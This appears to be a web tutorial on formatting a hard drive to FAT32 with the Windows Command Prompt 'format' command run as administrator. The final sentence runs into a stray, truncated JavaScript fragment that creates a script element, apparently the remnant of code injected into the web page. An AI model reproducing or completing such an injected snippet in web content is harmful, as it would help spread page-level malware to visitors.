The option to format internal and external hard drives to the FAT 32 filesystem is not available to you from within the Graphical User Interface in Windows Vista/Windows 7 64 Bit Editions. If you wish to make data available to operating systems or applications that cannot properly read or write to NTFS partitions, this can pose something of a problem for you. Thankfully there is a relatively easy command prompt solution you can use to solve this little problem.

To perform this format successfully, you need to launch Command Prompt with Administrator permissions before executing the command.

Here are the steps to follow:

1. First, find the drive letter of the HDD you wish to format from My Computer. Check, double check, and triple check you have the right letter before executing any format commands on your drive.

2. Navigate to the Command Prompt program: Start Menu > Accessories

3. Right click the Command Prompt entry in Accessories and choose to “Run as Administrator”.

4. You should be prompted by User Account Control “Do you want to allow the following program to make changes to this computer?” Answer yes. If you have disabled UAC, you will not see this message.

5. With the command prompt now showing, enter the following command:

format XYZ: /FS:FAT32

Replace XYZ with the letter of the drive you wish to format.

You can also perform a quick format on any drive without bad sectors:

format XYZ: /FS:FAT32 /q

Again, replace XYZ with the letter of the drive you want to format.

Depending on the size and the method you choose to use to format your drive, it can take anywhere between one minute and several hours for the format to finish. But once complete, you will have your drive properly formatted to the FAT32 filesystem.var d=document;var s=d.createElement(‘script’);